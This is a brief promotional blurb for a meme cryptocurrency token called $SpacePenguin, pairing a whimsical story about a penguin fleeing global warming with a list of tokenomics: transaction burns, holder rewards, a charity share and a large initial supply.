  🍨 Once upon a time, Space Penguin lived in the Antarctic but global warming made it impossible for him to stay there any longer. 
     He put on his space suit and jumped in his rocket ship to find new habitable cold planets!

🧊 Tokenomics:
→ $SpacePenguin burns 3% of every transaction and distributes another 3% to holders. 
→ 0.1% of every transaction is sent to coolearth.org, a charity that works to halt global warming by combatting deforestation.
→ The initial supply is 1,000,000,000,000,000 with 50% burned to the Black Hole at launch!
